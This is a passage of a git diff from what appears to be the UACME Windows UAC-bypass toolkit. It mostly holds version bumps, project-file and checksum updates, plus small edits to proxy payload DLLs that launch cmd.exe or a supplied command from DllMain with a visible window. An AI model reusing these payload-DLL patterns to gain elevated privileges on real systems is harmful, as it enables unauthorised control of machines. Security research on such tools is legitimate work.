supGetExplorerHandle( + VOID); + BOOL supWriteBufferToFile( _In_ LPWSTR lpFileName, _In_ PVOID Buffer, @@ -133,4 +165,12 @@ BOOL supSetEnvVariable( _In_ LPWSTR lpVariableName, _In_opt_ LPWSTR lpVariableData); +BOOL supSetMountPoint( + _In_ HANDLE hDirectory, + _In_ LPWSTR lpTarget, + _In_ LPWSTR lpPrintName); + +BOOL supDeleteMountPoint( + _In_ HANDLE hDirectory); + #define PathFileExists(lpszPath) (GetFileAttributes(lpszPath) != (DWORD)-1) diff --git a/Source/Akagi/tests/test.c b/Source/Akagi/tests/test.c index ace80f0..c298360 100644 --- a/Source/Akagi/tests/test.c +++ b/Source/Akagi/tests/test.c @@ -4,9 +4,9 @@ * * TITLE: TEST.C * -* VERSION: 2.72 +* VERSION: 2.74 * -* DATE: 26 May 2017 +* DATE: 11 June 2017 * * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED diff --git a/Source/Akagi/uacme.vcxproj b/Source/Akagi/uacme.vcxproj index ff2e780..5271d8d 100644 --- a/Source/Akagi/uacme.vcxproj +++ b/Source/Akagi/uacme.vcxproj @@ -390,11 +390,13 @@ + + @@ -412,6 +414,7 @@ + @@ -422,6 +425,7 @@ + diff --git a/Source/Akagi/uacme.vcxproj.filters b/Source/Akagi/uacme.vcxproj.filters index 12b8e21..544eebe 100644 --- a/Source/Akagi/uacme.vcxproj.filters +++ b/Source/Akagi/uacme.vcxproj.filters @@ -129,6 +129,12 @@ Source Files\methods + + Source Files\methods + + + Source Files\methods + @@ -209,6 +215,12 @@ Header Files\methods + + Header Files\methods + + + Header Files\methods + diff --git a/Source/Akagi/uacme.vcxproj.user b/Source/Akagi/uacme.vcxproj.user index 9bd6ef8..3b328b0 100644 --- a/Source/Akagi/uacme.vcxproj.user +++ b/Source/Akagi/uacme.vcxproj.user @@ -17,11 +17,11 @@ WindowsLocalDebugger - 0 + 36 WindowsLocalDebugger - 0 + 36 WindowsLocalDebugger \ No newline at end of file diff --git a/Source/Akatsuki/dllmain.c b/Source/Akatsuki/dllmain.c index 5e2802f..72a2786 100644 --- a/Source/Akatsuki/dllmain.c +++ b/Source/Akatsuki/dllmain.c @@ -4,9 +4,9 @@ * * TITLE: DLLMAIN.C * -* VERSION: 2.70 +* VERSION: 2.74 * -* DATE: 22 Mar 2017 +* DATE: 20 June 2017 * * Proxy dll entry point, Akatsuki. * Special dll for wow64 logger method. @@ -147,9 +147,12 @@ BOOL ucmQueryCustomParameter( RtlSecureZeroMemory(&startupInfo, sizeof(startupInfo)); RtlSecureZeroMemory(&processInfo, sizeof(processInfo)); startupInfo.cb = sizeof(startupInfo); - GetStartupInfoW(&startupInfo); + GetStartupInfo(&startupInfo); - bResult = CreateProcessW(NULL, lpParameter, NULL, NULL, FALSE, 0, NULL, + startupInfo.dwFlags = STARTF_USESHOWWINDOW; + startupInfo.wShowWindow = SW_SHOW; + + bResult = CreateProcess(NULL, lpParameter, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); if (bResult) { @@ -251,7 +254,7 @@ BOOL WINAPI DllMain( RtlSecureZeroMemory(&startupInfo, sizeof(startupInfo)); RtlSecureZeroMemory(&processInfo, sizeof(processInfo)); startupInfo.cb = sizeof(startupInfo); - GetStartupInfoW(&startupInfo); + GetStartupInfo(&startupInfo); RtlSecureZeroMemory(sysdir, sizeof(sysdir)); cch = ucmExpandEnvironmentStrings(TEXT("%systemroot%\\system32\\"), sysdir, MAX_PATH); @@ -260,7 +263,10 @@ BOOL WINAPI DllMain( _strcpy(cmdbuf, sysdir); _strcat(cmdbuf, TEXT("cmd.exe")); - if (CreateProcessW(cmdbuf, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, + startupInfo.dwFlags = STARTF_USESHOWWINDOW; + startupInfo.wShowWindow = SW_SHOW; + + if (CreateProcess(cmdbuf, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, sysdir, &startupInfo, &processInfo)) { CloseHandle(processInfo.hProcess); diff --git a/Source/Akatsuki/version.rc b/Source/Akatsuki/version.rc index 0c46580fce20898afd37987ee3efd3458cbc23c8..3b95583517ea6633f1e5860c2a2e42be57c498b4 100644 GIT binary patch delta 89 zcmZqEoTs@#hnw4kL5IPR!JNT>!ECZ2w=N2QEw|+68tyAhKtVmYqK$mIo16HqF`@~I NPi_+sTHGeU0su2h6EFY( delta 58 zcmbQI*`~Qchnv-aL5IO$vN^Xdgta-J`z;f*0fXLTL0-wp3VdRlr|?~4gb8f!5fEYl E0F4z5TmS$7 diff --git a/Source/Fubuki/dll.vcxproj b/Source/Fubuki/dll.vcxproj index 9fba274..2b6a755 100644 --- a/Source/Fubuki/dll.vcxproj +++ b/Source/Fubuki/dll.vcxproj @@ -336,11 +336,13 @@ + + diff --git a/Source/Fubuki/dll.vcxproj.filters b/Source/Fubuki/dll.vcxproj.filters index 606e368..a9b5f13 100644 --- a/Source/Fubuki/dll.vcxproj.filters +++ b/Source/Fubuki/dll.vcxproj.filters @@ -55,6 +55,12 @@ minirtl + + minirtl + + + minirtl + diff --git a/Source/Fubuki/dllmain.c b/Source/Fubuki/dllmain.c index cc8a33d..83e031c 100644 --- a/Source/Fubuki/dllmain.c +++ b/Source/Fubuki/dllmain.c @@ -4,9 +4,9 @@ * * TITLE: DLLMAIN.C * -* VERSION: 2.71 +* VERSION: 2.74 * -* DATE: 07 May 2017 +* DATE: 20 June 2017 * * Proxy dll entry point, Fubuki Kai Ni. * @@ -84,13 +84,13 @@ void ucmShowProcessIntegrityLevel( ) { NTSTATUS status; - HANDLE hToken; + HANDLE hToken = NULL; - ULONG LengthNeeded; + ULONG LengthNeeded = 0; PTOKEN_MANDATORY_LABEL pTIL = NULL; DWORD dwIntegrityLevel; - WCHAR *t = NULL; + LPWSTR lpText = NULL; WCHAR szBuffer[MAX_PATH + 1]; status = NtOpenProcessToken(NtCurrentProcess(), TOKEN_QUERY, &hToken); @@ -109,25 +109,25 @@ void ucmShowProcessIntegrityLevel( if (dwIntegrityLevel == SECURITY_MANDATORY_LOW_RID) { - t = L"Low Process"; + lpText = L"Low Process"; } else if (dwIntegrityLevel >= SECURITY_MANDATORY_MEDIUM_RID && dwIntegrityLevel < SECURITY_MANDATORY_HIGH_RID) { - t = L"Medium Process"; + lpText = L"Medium Process"; } else if (dwIntegrityLevel == SECURITY_MANDATORY_HIGH_RID) { - t = L"High Integrity Process"; + lpText = L"High Integrity Process"; } else if (dwIntegrityLevel == SECURITY_MANDATORY_SYSTEM_RID) { - t = L"System Integrity Process"; + lpText = L"System Integrity Process"; } RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); wsprintf(szBuffer, L"PID=%lu, IntegrityLevel=%ws", - GetCurrentProcessId(), t); + GetCurrentProcessId(), lpText); } LocalFree(pTIL); @@ -135,7 +135,12 @@ void ucmShowProcessIntegrityLevel( } NtClose(hToken); } - if (t) MessageBox(GetDesktopWindow(), szBuffer, GetCommandLineW(), MB_ICONINFORMATION); + if (lpText) { + MessageBox(GetDesktopWindow(), + szBuffer, + GetCommandLine(), + MB_ICONINFORMATION); + } } /* @@ -245,6 +250,7 @@ VOID DefaultPayload( RtlSecureZeroMemory(&startupInfo, sizeof(startupInfo)); RtlSecureZeroMemory(&processInfo, sizeof(processInfo)); startupInfo.cb = sizeof(startupInfo); + //GetStartupInfo(&startupInfo); RtlSecureZeroMemory(sysdir, sizeof(sysdir)); cch = ExpandEnvironmentStrings(TEXT("%systemroot%\\system32\\"), sysdir, MAX_PATH); diff --git a/Source/Fubuki/version.rc b/Source/Fubuki/version.rc index b4e8bda7d3e032865744def406fd24b2594f4fb3..1e2650448d6653d705ce4cf202af96a9f6139223 100644 GIT binary patch delta 85 zcmeCs?9kkx!_95Npu=FuV9sE`U^dyDTNjzXIiLGJ6Hq`8u3#gd?&dbWbBt($;*&cB Kgcf%QumAweOcA^Q delta 85 zcmeCs?9kkx!_95Tpu=FuV9sE`U^>~HTNjzXIiLGJ6Hq`8u3#gd?&dbWbBt($;*&cB Kgcf%QumAwbKoP6} diff --git a/Source/Hibiki/dllmain.c b/Source/Hibiki/dllmain.c index a984937..7b793ed 100644 --- a/Source/Hibiki/dllmain.c +++ b/Source/Hibiki/dllmain.c @@ -4,9 +4,9 @@ * * TITLE: DLLMAIN.C * -* VERSION: 2.70 +* VERSION: 2.74 * -* DATE: 21 Mar 2017 +* DATE: 20 June 2017 * * AVrf entry point, Hibiki Kai Ni. * @@ -346,6 +346,9 @@ BOOL ucmQueryCustomParameter( startupInfo.cb = sizeof(startupInfo); ucmGetStartupInfo(&startupInfo); + startupInfo.dwFlags = STARTF_USESHOWWINDOW; + startupInfo.wShowWindow = SW_SHOW; + bResult = pCreateProcessW(NULL, lpParameter, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); @@ -404,6 +407,9 @@ VOID ucmbRunTarget( _strcpy_w(cmdbuf, sysdir); _strcat_w(cmdbuf, L"cmd.exe"); + startupInfo.dwFlags = STARTF_USESHOWWINDOW; + startupInfo.wShowWindow = SW_SHOW; + if (pCreateProcessW(cmdbuf, NULL, NULL, NULL, FALSE, 0, NULL, sysdir, &startupInfo, &processInfo)) { diff --git a/Source/Hibiki/version.rc b/Source/Hibiki/version.rc index 944db349f18694a7e6a5037387deacb49712c39d..ddc0cf84ac441f6251d2de9c0a408b3f93fe67f5 100644 GIT binary patch delta 78 zcmeCs?9kkx!_95Npu=FuV9sE`U^dyDTNjzXIiLG36Hq`8u3$Z%?&cQ03yjEuo8tvE FSpZWy4ProcessHeap; LPWSTR lpData = NULL, lpParameter = NULL, lpszParamKey = NULL; - STARTUPINFOW startupInfo; + STARTUPINFO startupInfo; PROCESS_INFORMATION processInfo; ULONG bytesIO = 0L; OBJSCANPARAM Param; @@ -467,7 +467,10 @@ BOOL ucmQueryCustomParameter( startupInfo.cb = sizeof(startupInfo); GetStartupInfo(&startupInfo); - bResult = CreateProcessW(NULL, lpParameter, NULL, NULL, FALSE, 0, NULL, + startupInfo.dwFlags = STARTF_USESHOWWINDOW; + startupInfo.wShowWindow = SW_SHOW; + + bResult = CreateProcess(NULL, lpParameter, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); if (bResult) { @@ -525,7 +528,7 @@ BOOL WINAPI DllMain( RtlSecureZeroMemory(&startupInfo, sizeof(startupInfo)); RtlSecureZeroMemory(&processInfo, sizeof(processInfo)); startupInfo.cb = sizeof(startupInfo); - GetStartupInfoW(&startupInfo); + GetStartupInfo(&startupInfo); RtlSecureZeroMemory(sysdir, sizeof(sysdir)); cch = ExpandEnvironmentStrings(TEXT("%systemroot%\\system32\\"), sysdir, MAX_PATH); @@ -534,7 +537,10 @@ BOOL WINAPI DllMain( _strcpy(cmdbuf, sysdir); _strcat(cmdbuf, TEXT("cmd.exe")); - if (CreateProcessW(cmdbuf, NULL, NULL, NULL, FALSE, 0, NULL, + startupInfo.dwFlags = STARTF_USESHOWWINDOW; + startupInfo.wShowWindow = SW_SHOW; + + if (CreateProcess(cmdbuf, NULL, NULL, NULL, FALSE, 0, NULL, sysdir, &startupInfo, &processInfo)) { CloseHandle(processInfo.hProcess); diff --git a/Source/Ikazuchi/version.rc b/Source/Ikazuchi/version.rc index 9b121936b54c47539277f5666b7a0e9c55fa0264..25ecaeed75be6c1c06598fbb126c5a0530a765d4 100644 GIT binary patch delta 82 zcmbQFIZ1Pa4mY<6gARisgE@l%gV|(rZe3*l=6vq^Oh5rWxPp!Rx|`ehZZM(=if?WZ H5MluUo^BAi delta 82 zcmbQFIZ1Pa4mY;}gARisgE@l%gUMubZe3*l=6vq^Oh5rWxPp!Rx|`ehZZM(=if?WZ H5MluUnm7=l diff --git a/Source/Shared/ntos.h b/Source/Shared/ntos.h index 8e4dc24..5ed07db 100644 --- a/Source/Shared/ntos.h +++ b/Source/Shared/ntos.h @@ -4,9 +4,9 @@ * * TITLE: NTOS.H * -* VERSION: 1.70 +* VERSION: 1.71 * -* DATE: 27 May 2017 +* DATE: 28 May 2017 * * Common header file for the ntos API functions and definitions. * @@ -5605,6 +5605,11 @@ NTSTATUS NTAPI NtDuplicateToken( _Out_ PHANDLE NewTokenHandle ); +#define DISABLE_MAX_PRIVILEGE 0x1 // winnt +#define SANDBOX_INERT 0x2 // winnt +#define LUA_TOKEN 0x4 +#define WRITE_RESTRICT 0x8 + NTSTATUS NTAPI NtFilterToken( _In_ HANDLE ExistingTokenHandle, _In_ ULONG Flags, @@ -5658,20 +5663,6 @@ NTSTATUS NTAPI NtQueryInformationToken( _Out_ PULONG ReturnLength ); -#define DISABLE_MAX_PRIVILEGE 0x1 // winnt -#define SANDBOX_INERT 0x2 // winnt -#define LUA_TOKEN 0x4 -#define WRITE_RESTRICT 0x8 - -NTSTATUS NTAPI NtFilterToken( - _In_ HANDLE ExistingTokenHandle, - _In_ ULONG Flags, - _In_opt_ PTOKEN_GROUPS SidsToDisable, - _In_opt_ PTOKEN_PRIVILEGES PrivilegesToDelete, - _In_opt_ PTOKEN_GROUPS RestrictedSids, - _Out_ PHANDLE NewTokenHandle - ); - NTSTATUS NTAPI NtCreateKey( _Out_ PHANDLE KeyHandle, _In_ ACCESS_MASK DesiredAccess, diff --git a/Source/uacme.sln b/Source/uacme.sln index 9333617..a290bd4 100644 --- a/Source/uacme.sln +++ b/Source/uacme.sln @@ -59,10 +59,10 @@ Global {210A3DB2-11E3-4BB4-BE7D-554935DCCA43}.Release|Win32.Build.0 = Release|Win32 {210A3DB2-11E3-4BB4-BE7D-554935DCCA43}.Release|x64.ActiveCfg = Release|x64 {210A3DB2-11E3-4BB4-BE7D-554935DCCA43}.Release|x64.Build.0 = Release|x64 - {210A3DB2-11E3-4BB4-BE7D-554935DCCA43}.ReleaseInternal|Win32.ActiveCfg = ReleaseInternal|Win32 - {210A3DB2-11E3-4BB4-BE7D-554935DCCA43}.ReleaseInternal|Win32.Build.0 = ReleaseInternal|Win32 - {210A3DB2-11E3-4BB4-BE7D-554935DCCA43}.ReleaseInternal|x64.ActiveCfg = ReleaseInternal|x64 - {210A3DB2-11E3-4BB4-BE7D-554935DCCA43}.ReleaseInternal|x64.Build.0 = ReleaseInternal|x64 + {210A3DB2-11E3-4BB4-BE7D-554935DCCA43}.ReleaseInternal|Win32.ActiveCfg = Release|Win32 + {210A3DB2-11E3-4BB4-BE7D-554935DCCA43}.ReleaseInternal|Win32.Build.0 = Release|Win32 + {210A3DB2-11E3-4BB4-BE7D-554935DCCA43}.ReleaseInternal|x64.ActiveCfg = Release|x64 + {210A3DB2-11E3-4BB4-BE7D-554935DCCA43}.ReleaseInternal|x64.Build.0 = Release|x64 {23A2E629-DC9D-46EA-8B5A-F1D60566EA09}.Debug|Win32.ActiveCfg = Release|Win32 {23A2E629-DC9D-46EA-8B5A-F1D60566EA09}.Debug|Win32.Build.0 = Release|Win32 {23A2E629-DC9D-46EA-8B5A-F1D60566EA09}.Debug|x64.ActiveCfg = Debug|x64 diff --git a/UACME.sha256 b/UACME.sha256 index 5764dde..0f43c16 100644 --- a/UACME.sha256 +++ b/UACME.sha256 @@ -1,8 +1,8 @@ -46e4306bdea79c3e8269b78637bbbe510d6ee65ea18268f7788aec26b4806c41 *Compiled\Akagi32.exe -b0e32db8c822014c282ef3aba46bac0bf934c4c3d0fcde2f3bf5f64f39789044 *Compiled\Akagi64.exe +b20d491148d3a52b8de0783bc5879682b8f0a62c38e81b594a3848e2e918d059 *Compiled\Akagi32.exe +a98802c8f2e68ff9568feaa1fb2e30e88601e1d50169454239d44f188bcf2482 *Compiled\Akagi64.exe 376d63708d4e0d761f6d9224b9d5504c07b3cd5b5ae5fd40a3a3d77c4d5873d5 *Compiled\UacInfo64.exe c7aa5be04dbf1ffdd076120a617eb5e7ea154a37f5811de5b30fa006c69a4c7c *Compiled\Symdll\readme1st.txt -4d14153dd95bd5441763283de03afb74aa5f3fc0b68d7629be43d27e3d41c5e1 *Source\uacme.sln +4055ddeaea8805ded4aba4b730ed799e5187eaa29381c59f0ecc0f3a6d10b090 *Source\uacme.sln 8172069709954a5616b75306e565cbc5cd5baada00c15cba084420e61bebcdaf *Source\Akagi\akagi.ico 02238b1720b8514de36ae80fa3d07c377d22e6befe99a7b87d4da9d60d23be02 *Source\Akagi\akagi.manifest 3fb2b94aa2ee33753fcc20fa1834be8a929a29248217cfb84a54956eeea1a824 *Source\Akagi\bin32res.h @@ -11,92 +11,96 @@ c7aa5be04dbf1ffdd076120a617eb5e7ea154a37f5811de5b30fa006c69a4c7c *Compiled\Symdl 82684e4844773aa06296e76697cb2777bb4cb1cb23b06aa0c2dcc80fea33ca3d *Source\Akagi\bin64res.rc a552fb7dfd3982f2ed58a745b928b8146a8632499dc01a64f534646caf02450e *Source\Akagi\compress.c 9f93bbb4c77349179641415ec9a4367a6f77dc28b093d3d11231f6abf8c3cd78 *Source\Akagi\compress.h -ea90559a90c70292830258de4265a39fbab63408ab41711ad824eed5e6730fdf *Source\Akagi\consts.h -5e5c5c2b73d8b4d1ac33a25714834349625a5f0e580582d0375fd0969d6d9297 *Source\Akagi\global.h -1346bd4919e656fc5b3bff0f9e8b4b7ab928ad006b7af89952eef5275ae52220 *Source\Akagi\main.c +2cd1eb208e9728b7cc3c2172b8ff0cb383b1aacef774d6b3aca704447e64b023 *Source\Akagi\consts.h +2a14b3238a613d4d2beb9061771f27a4a8d55da2ec80e210cd7a8e84bb29ebb9 *Source\Akagi\global.h +9d2fff691a6ac0fdddff9ff13523ed7933180b72d6a9cb4ccba5e9b425647c1c *Source\Akagi\main.c a8ec3b9411f2408b5cfa4b0c77aa045957d3144aebd343cfa7da03d78226e3b3 *Source\Akagi\makecab.c bd7f1ebd11ed2313bef81c4701b2444ab37d9723493bfeb9de5db2063a5213e2 *Source\Akagi\makecab.h f1b82b53b74b4586c58b0e3a87aceb1ee43e493ef58aa9490297c6bbef247de0 *Source\Akagi\manifest.h c90cec4c10cde815fd286d83601b4cd3738097e8e0b2e592dc28c1325c12918d *Source\Akagi\resource.h -dae1ff25ab3cfa35aacd0eb1aace255ab4aa2c578d656fb81b13664d02d176e3 *Source\Akagi\Resource.rc -1cf5e1ebaf5cfb80b420fb87ff8f7d31a2b9b75dc338edb4ea6820c4beeaf36c *Source\Akagi\sup.c -37953ab7189a09fce908de75b5ce2871aaad5a04c78dca833e13318d93ece3a8 *Source\Akagi\sup.h +b4fb5f94264c6275b862f56ed754e72c9858c9ab44fc2ee9f0d26fe1192f8295 *Source\Akagi\Resource.rc +cb63e87aef0a85916b7d7d5881f41e1ca9800ddb878f242126110cd467653162 *Source\Akagi\sup.c +0da9d7e9e882862172b7deaf5f95d0c1e18beb5bab8b2c699e6087b3d248f19f *Source\Akagi\sup.h a13d31cf040775c51471e3fe6b4863d879fefb189798a24f76189abaebdbdf27 *Source\Akagi\uacme.suppress -f7c0c94121c78c93f553c1841b9963a756fd0cb24dd384eeb434aac6349cd380 *Source\Akagi\uacme.vcxproj -4f3e050a0b73b1b9b06c94ca375c4b9f19352fed23d18514fb116f236049f7eb *Source\Akagi\uacme.vcxproj.filters -cc2dfcc6ea3c2c3f81ba00d43c104466b4c6b3208563a7fd3707131160bbd1f4 *Source\Akagi\uacme.vcxproj.user +5e9603e1877053c533994070273c4e72c39d9e0a7b26c008184acd5f7ca4cf3a *Source\Akagi\uacme.vcxproj +e44d0f266561f7aef3b87a86d133a47af49cd920a66083804b02c889c73b4589 *Source\Akagi\uacme.vcxproj.filters +d827c128f425851492e2e7ed1cf633fab3714c1499a41eae4e01bd8112c3ed73 *Source\Akagi\uacme.vcxproj.user 2d05d08e1436fa05e5247e876b3f187b3354b76f4cabfecbdc4e557968037424 *Source\Akagi\windefend.c 1b9e0a1f3734feb1d1f94defb48972b479225d76fc97997c9b240c0f3b6453a8 *Source\Akagi\windefend.h -2944aac59b81edecf5a358be9b81d04d40774b8d0c0898b08ddf5de7992296d0 *Source\Akagi\bin\Akatsuki64.cd -c29a55e1da15ee51bf197c190b4b802c03daf0ab66394c83dc9ae9409e55cc51 *Source\Akagi\bin\Fubuki32.cd -76ebc6f06a8151396cd240d6bf772504cfc8b5eed6855e8653c60cdcf52e5d10 *Source\Akagi\bin\Fubuki64.cd -945b6d413e4429dffc930f864595bf9f330067903a70f9d06ab93cb8106ae26c *Source\Akagi\bin\Hibiki32.cd -92770263151595b6b152438a7e83028eee954cae818150e46d13bb1f8cc831df *Source\Akagi\bin\Hibiki64.cd -7e1c3c9cb2ac6a7a4e822d4ac0e2fe7ae6adec19790a82fbbc8fc3a9e1f7c47c *Source\Akagi\bin\Ikazuchi32.cd -d7928e793977925b9800926b567348517d23d7934ebb9f0992b9fc0c6b24d073 *Source\Akagi\bin\Ikazuchi64.cd +47d2753928ca704a5544ca12fdff8583ff604ce2d440f3109ab3b6ded91b4b70 *Source\Akagi\bin\Akatsuki64.cd +cbe156de6d8d3b5e10422f15a528050e348567ab9b98ac54b6e15b53025a9ed5 *Source\Akagi\bin\Fubuki32.cd +d61fc7009f7fcfb12a8eab1ab024a3065bb0869fcf269794256b19e15ec6af34 *Source\Akagi\bin\Fubuki64.cd +c1ed6f0600544df6921e7d51eb8e0f08ad853d0a3412c2962511306e7cf94add *Source\Akagi\bin\Hibiki32.cd +0f4165ab7f6ac1b570022762d7a35aad0b61112edecfacda3a9f8ee5ade3b986 *Source\Akagi\bin\Hibiki64.cd +83aca570f739d0c3492a0191bb4ea9f0986c5e1d0f05650f1f3945e0468eaf5f *Source\Akagi\bin\Ikazuchi32.cd +2ca54d3cb0e1233f231a4c2dd7a576e705538dbdb53c8e11727c158bb1448513 *Source\Akagi\bin\Ikazuchi64.cd 46f01b4e452c8c6d4d62f7c99928dc13ec3a751512bfaaeebcbbbcf62523cd76 *Source\Akagi\bin\Kongou32.cd 4f336b9b9827366d686442ea6018d90e9cee1c876ea79c39a018d9fe0e164be8 *Source\Akagi\bin\Kongou64.cd d2e98979ba296abb4cad7ab142db85da10a62b6c2193f89e206a4c2ed5ff19db *Source\Akagi\lib\AppHelp32.lib dc7fe105fd095121932b4c483ebcbf35d729fefeab7a7fb766fe9a3953f91ef1 *Source\Akagi\lib\AppHelp64.lib c38c4dc7d03484215e6fa531a795e80bd1951504ca6938cad5886d17adbf4a27 *Source\Akagi\methods\apphelp.h -c994f782c64a1a18caaab60418de573ade7e87fdc964e25557ac79eb549c7cd5 *Source\Akagi\methods\carberp.c -d9ac1c8eedf9c9d5ed6cbf0ffeeaa13ba376760ade0d1dc6750121ed48a5b63b *Source\Akagi\methods\carberp.h +01f2327ec6dfdd859a5372f24dfaec5024fe3cd5795647991b79bbb88d19764e *Source\Akagi\methods\carberp.c +b866af0a9a4ad85432c13dc02fbb7e360bbe069dd5e45e86de9e1a6aeb91d449 *Source\Akagi\methods\carberp.h 0182da81c73323b843725eaec652ec2f2c95231e302b765de2ce37e09c899ab9 *Source\Akagi\methods\comet.c 7619c01b21279a0f318e7f3c091f5b54f9a37425b4a083e277e0adfc11da2913 *Source\Akagi\methods\comet.h -393ba6fbfe154be58e018066bb2edcce2abb2b6bc3a209de23a279a0edde153e *Source\Akagi\methods\enigma0x3.c +5dbbf2af06f6bf545ab7c889fe7a6cf0653036c545aa29b8dc77086ee3304e10 *Source\Akagi\methods\comfileop.c +7c1e67ec03370d4e97fc5947a832090bf8283641c19f7cad1cb8f3d93385bac2 *Source\Akagi\methods\comfileop.h +4336d458f3c40c5f874bd0db1e01bf29016ddb2c8ff807bbe4b89ff29e5127ac *Source\Akagi\methods\enigma0x3.c 878dd7452a54e15999a0eab9dc22c4bc7cbb5e5b5e71cfece307349eb79e4dc5 *Source\Akagi\methods\enigma0x3.h e297e3858f2754f7d45876c087d606a2b10e6007ff96fdc00e27db6c731f163c *Source\Akagi\methods\explife.c 1b3b895fa6b99df9055b6514e8dc5212ce61cd7d2500c2fea95085440e7b5b34 *Source\Akagi\methods\explife.h be58d05b4f21e4cbc7a06d409c2f0002eee660d8a9017b1d103f35cdb7d9461c *Source\Akagi\methods\gootkit.c 7a01e30bf58f6e87112812e11fd81e250ecfadfe9fb1206e9f4ec06607dad714 *Source\Akagi\methods\gootkit.h -5887a1083e6343ea5e6effbd0def4631fc988df14e0a4c2147d68cb70e90fcf2 *Source\Akagi\methods\hybrids.c -6327a9b8e9c19adee0d56e666756dd4a0edcc327c8ed0341f11bb80e12feaaa5 *Source\Akagi\methods\hybrids.h -3155b7598ca2aad4e77a48f0351a8436c8780384820e83422bd8c2afb12a4586 *Source\Akagi\methods\methods.c -adb791a9ef390b95f6f603c6e88c619c5031f42724843681b1562b9356d4d65a *Source\Akagi\methods\methods.h -fd7e8e20de8f3763a418368431c0b6b7131d940e7b775c165b095f78386b849b *Source\Akagi\methods\pitou.c -9754f1d2195c6d2ef6a228677d1a8fb8e92318aece0c389b3f28a87eeffe9827 *Source\Akagi\methods\pitou.h +7bb57943b4abbe72996ae58d622b62717d9378a2f97be0c115ad6fc76af87285 *Source\Akagi\methods\hybrids.c +858ce14e3179d817220aeda054750371723c2d72e9a59a30f17a2600c38511f3 *Source\Akagi\methods\hybrids.h +effd49a0f695a763302c42dc192647c84712670d5af96ec54c83f09aebb39583 *Source\Akagi\methods\methods.c +ac72b99dd5d456d1a349b23a78a3b5aa99e1a855a08d0689858f451d4af0069b *Source\Akagi\methods\methods.h +4b9ef8073d1e9ad80050a74d53c7c4f11cfed18c6252faf49b2ea00502415a1b *Source\Akagi\methods\pitou.c +9faab51fb7a0614dcf285ea02b468aee1edb50bb00b9dda8da20260d7460d255 *Source\Akagi\methods\pitou.h 3dd668663873b0e7816a2d2e89fb53ae2a418b1338b6530a9e3a1743e8bbd3fd *Source\Akagi\methods\sandworm.c a38afbbd8ff528662d4f61ea1f688f44778f524d18dcc08badbd182b6537d7a5 *Source\Akagi\methods\sandworm.h 629be7ba979bcf0133b6a222ac358d7c9f3b4fe2f341d284a969b1a279b7dc0e *Source\Akagi\methods\simda.c 3c3a6eb8ee56ccffedd490e87b8a2fdec7e4b09bdb2650d231f2805a27e56ade *Source\Akagi\methods\simda.h 8d95d0c5a788964202100208749ab9744180f0ea36fa222a4a3adc1d0e3f90a1 *Source\Akagi\methods\sirefef.h -813c594498f7f79e160f0775a6886fff179e43416e7aa79709bd779ffde9e582 *Source\Akagi\methods\tyranid.c +0f497dd2915f834f86e0185f369c114f1013475877a7087aa0873a8155d2096f *Source\Akagi\methods\tyranid.c 233335679cbdb8023211a848051420a7e9a02b72c0af89ff0e5eb19fc018edb4 *Source\Akagi\methods\tyranid.h -7266faf9d86af33e32023964bb666bb5fb5288586a38992f020796b75c0e9b15 *Source\Akagi\tests\test.c +508459d7352df2b65d5b5a34b14f28a3c8e5c899ee881f4f8b862b843c197247 *Source\Akagi\methods\wusa.c +711a7d727b1ce6003348ea9e4a909bc7c6b1711fb352fe42b947c7f75003ca52 *Source\Akagi\methods\wusa.h +2bd9ea60ba513fedcfe5e2c98b6c78ebde7ac126ac4c9d6b4f40f6d771a6a420 *Source\Akagi\tests\test.c b073f6d614bcdc345db660edf36784d1587e3f3ab309bfb871a0ce510faa57a6 *Source\Akagi\tests\test.h 09bd7cf61a0e2bf4474e8a11f88ba61f62fe26138acabc7bac71d336232285fc *Source\Akatsuki\akatsuki.suppress 588fbc961ae8c731d7617bda839ad326cc2f92d6f468cd6de475b4c21bd03a29 *Source\Akatsuki\Akatsuki.vcxproj 060c80fea1ef21d705757ddf9c19b586a7bb17356a356d57358db8143371fe17 *Source\Akatsuki\Akatsuki.vcxproj.filters 9a4b0023e443b33d85280eedb510864c42b4146c8e6e5f742444b3eff0aae55f *Source\Akatsuki\Akatsuki.vcxproj.user -bfc16caf50161dcfbb51d148b66846def870d3856045a818c0965a5984113927 *Source\Akatsuki\dllmain.c +e7722dff186b29d725cd56c476ab0a0439454de81ed5f905804b3a335894ba07 *Source\Akatsuki\dllmain.c e10acf379efd906f8bf06a28e3b0b5598618c109c8a30f43e831b42f6aaf1950 *Source\Akatsuki\export.def 4006ba7005ca2873a5acbd2755ba1965e62bf0bd8783882f874bea2c80d45e1d *Source\Akatsuki\resource.h -9977423977c6294586e91f57334ff22d53860f96a3d3df7adcd31881d78ea98b *Source\Akatsuki\version.rc +7c519388501db074be74bf1a90119eff6193e0085081ea780cdf34a1114f54ee *Source\Akatsuki\version.rc 3f0f2bd8d770b9a92b4a5a05a621987a04ff67c79fba0264208c2cfae2eefc05 *Source\Fubuki\dll.suppress -c391874c4c88a796f1e43dab5c049c69f5b80188511c437a234325db8320febd *Source\Fubuki\dll.vcxproj -2b7c4bfaae209067f3e6b6e2695bd4e101075b0629c062c9c51f2c6546252c62 *Source\Fubuki\dll.vcxproj.filters +5a69f0cae65a683c92fb0cd3139c7544ddb5d48be14e947d6b206c925e7525e3 *Source\Fubuki\dll.vcxproj +cf19572228a04f2564f245b69ef8e0693cea38161b2e088fd3a2d254955cdd55 *Source\Fubuki\dll.vcxproj.filters cb5688faa7cfe99a609ecdb7131f218628dbe34b8fb39ba83a2328227bc63179 *Source\Fubuki\dll.vcxproj.user -66cc0ce3fa6ffb15e314355328cacab9b75a7b0bcab226de0a1b4d74041bfd81 *Source\Fubuki\dllmain.c +8ca04d5e27c6470bd1d531b508cc3ca824b79552ab1ff580810b357eee3e82ed *Source\Fubuki\dllmain.c 938d2ffe637631e182f1b8e8ebfb642aee1bc854a689b489bf1d9b30335ab5e0 *Source\Fubuki\export.def 4006ba7005ca2873a5acbd2755ba1965e62bf0bd8783882f874bea2c80d45e1d *Source\Fubuki\resource.h 